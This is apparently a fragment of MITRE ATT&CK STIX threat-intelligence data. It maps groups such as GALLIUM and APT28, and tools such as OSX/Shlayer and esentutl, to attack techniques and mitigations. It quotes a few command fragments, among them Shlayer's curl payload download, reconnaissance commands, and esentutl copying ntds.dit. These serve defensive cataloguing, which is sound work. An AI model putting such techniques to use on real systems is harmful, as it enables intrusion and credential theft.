"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7adea746-109e-41c2-bf48-20e0282038a0", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "modified": "2021-01-13T21:16:05.345Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.304Z", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + }, + { + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.", + "source_name": "Microsoft GALLIUM December 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b10df154-0c2a-4159-ac0a-1bdaa78f56cb", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of [NBTscan](https://attack.mitre.org/software/S0590) to identify available NetBIOS name servers.(Citation: Cybereason Soft Cell June 2019)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2021-03-17T16:14:44.113Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.311Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a29a37fc-86e2-4b93-8fa5-560b0a395fbc", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used netstat -oan to obtain information about the victim network connections.(Citation: Cybereason Soft Cell June 2019)", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2019-07-22T15:49:28.943Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.326Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aa64ee12-ae96-40fe-ba37-a8893cd321ec", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used whoami and query user to obtain information about the victim user.(Citation: Cybereason Soft Cell June 2019)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-07-22T15:49:28.941Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.330Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3b86d8fe-5677-4516-bf77-898e4da6171f", + "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2021-01-13T21:20:49.108Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.420Z", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + }, + { + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.", + "source_name": "Microsoft GALLIUM December 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b0a6e22f-adad-4625-b07d-996221cf3a50", + "description": "(Citation: Cybereason Soft Cell June 2019)", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "modified": "2019-07-22T15:49:29.136Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.446Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. 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(2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019" + }, + { + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "source_name": "Netscout Stolen Pencil Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9db842bf-d65d-44a8-93ca-aef62cadafc1", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) collects the IOPlatformUUID, session UID, and the OS version using the command sw_vers -productVersion.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-09-14T03:13:16.530Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-29T18:52:20.962Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/", + "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", + "source_name": "sentinelone shlayer to zshlayer" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8a2fbf8a-a05c-44d7-a270-afe092de9db5", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can base64-decode and AES-decrypt downloaded payloads.(Citation: Carbon Black Shlayer Feb 2019) Versions of [OSX/Shlayer](https://attack.mitre.org/software/S0402) pass encrypted and password-protected code to openssl and then write the payload to the /tmp folder.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2021-10-16T20:39:45.826Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-29T18:52:20.983Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/", + "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", + "source_name": "sentinelone shlayer to zshlayer" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ea74151-62ea-462e-988e-7704db70ec87", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use bash scripts to check the macOS version, download payloads, and extract bytes from files. [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the command sh -c tail -c +1381... to extract bytes at an offset from a specified file. [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the curl -fsL \"$url\" >$tmp_path command to download malicious payloads into a temporary directory.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: objectivesee osx.shlayer apple approved 2020)", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "modified": "2021-09-14T03:13:16.500Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-29T18:52:20.987Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/", + "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", + "source_name": "sentinelone shlayer to zshlayer" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + }, + { + "url": "https://objective-see.com/blog/blog_0x4E.html", + "description": "Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.", + "source_name": "objectivesee osx.shlayer apple approved 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8f8d2b41-acb9-4fdf-ad90-c59fd6fad882", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can masquerade as a Flash Player update.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-18T15:24:38.550Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-29T18:52:21.001Z", + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + }, + { + "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/", + "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", + "source_name": "Intego Shlayer Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--557288c3-8463-4900-b2e5-aa9856d428cd", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) relies on users mounting and executing a malicious DMG file.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-03-17T13:45:39.913Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-29T19:21:38.616Z", + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + }, + { + "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/", + "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", + "source_name": "Intego Shlayer Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9d727db-88ac-4729-bf8a-98d99a83534d", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can escalate privileges to root by asking the user for credentials.(Citation: Carbon Black Shlayer Feb 2019)", + "target_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", + "modified": "2019-09-12T15:09:10.709Z", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-29T19:21:38.638Z", + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2c7ff110-3d42-4e1c-b53f-449fa6cc6ab9", + "description": "Update corporate policies to restrict what types of third-party applications may be added to any online service or tool that is linked to the company's information, accounts or network (example: Google, Microsoft, Dropbox, Basecamp, GitHub). However, rather than providing high-level guidance on this, be extremely specific\u2014include a list of pre-approved applications and deny all others not on the list. Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.(Citation: Microsoft Azure AD Admin Consent)", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "modified": "2021-09-20T16:50:42.020Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-08-30T12:55:58.775Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity#block-end-user-consent", + "description": "Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure AD Admin Consent" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bf430681-3524-4a0a-8961-60f37d4d5bb3", + "description": "Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "modified": "2021-09-20T16:50:42.033Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-08-30T12:55:58.799Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e4b036ec-b7d4-40a7-9a85-25423a1027c9", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2019-09-04T19:48:17.683Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-30T19:53:25.190Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e752cfb4-7865-4590-b355-eb1f1b851c5e", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-03-12T00:26:06.835Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-30T19:53:25.226Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a7f1f1e-511a-44bf-8d9e-fd3260febfc8", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) has sent emails with malicious Microsoft Office documents attached.(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2019-09-04T19:48:17.678Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-08-30T19:53:25.231Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bb4f1b15-8382-44f9-b201-6726e83b79b0", + "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to copy files from a given URL.(Citation: LOLBAS Esentutl)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-09-14T16:17:20.000Z", + "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-09-03T18:31:09.713Z", + "external_references": [ + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/", + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "source_name": "LOLBAS Esentutl" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5181727e-706d-4e57-8a41-628a27e03c6c", + "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to read and write alternate data streams.(Citation: LOLBAS Esentutl)", + "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "modified": "2019-09-05T17:35:41.480Z", + "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-09-03T18:32:49.397Z", + "external_references": [ + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/", + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "source_name": "LOLBAS Esentutl" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4faa4943-e54e-420d-a391-350ef629e766", + "description": "[esentutl](https://attack.mitre.org/software/S0404) can use Volume Shadow Copy to copy locked files such as ntds.dit.(Citation: LOLBAS Esentutl)(Citation: Cary Esentutl)", + "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "modified": "2021-10-14T20:38:25.787Z", + "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-09-03T18:32:49.412Z", + "external_references": [ + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/", + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "source_name": "LOLBAS Esentutl" + }, + { + "url": "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", + "description": "Cary, M. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019.", + "source_name": "Cary Esentutl" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d608c524-ad0a-4595-8fe2-4a0ec0dbf501", + "description": "(Citation: FireEye APT10 Sept 2018)", + "target_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", + "modified": "2019-11-02T16:31:45.027Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-09-03T18:50:16.769Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. 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Retrieved November 20, 2020.", + "source_name": "360 Machete Sep 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bea19aee-f6c5-4ee8-bef9-5bd78e66a020", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has relied on TLS-encrypted FTP to transfer data out of target environments.(Citation: Cylance Machete Mar 2017) ", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "modified": "2019-09-13T16:48:01.348Z", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-09-13T12:53:11.518Z", + "external_references": [ + { + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "description": "The Cylance Threat Research Team. (2017, March 22). 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Retrieved October 8, 2019.", + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f3a3e55d-d2bd-4ae6-85ae-b8a3046f4b75", + "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.", + "target_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", + "modified": "2021-09-20T16:50:42.059Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-04T18:21:47.437Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ae0b56df-e692-4210-85e4-8ded095cdbc3", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.(Citation: Trend Micro Pawn Storm OAuth 2017)", + "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", + "modified": "2020-03-20T16:37:06.239Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-04T18:43:57.650Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "source_name": "Trend Micro Pawn Storm OAuth 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9c3d1701-b0ed-4a20-a864-d2681535cfa8", + "description": "Users need to be trained to not authorize third-party applications they don\u2019t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. 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(2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. 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Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cc31afad-6349-4b66-a0a9-cd8f9de46aec", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted systems after destroying files and wiping the MBR on infected systems.(Citation: US-CERT SHARPKNOT June 2018)", + "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", + "modified": "2019-10-04T22:20:20.853Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-04T22:20:20.853Z", + 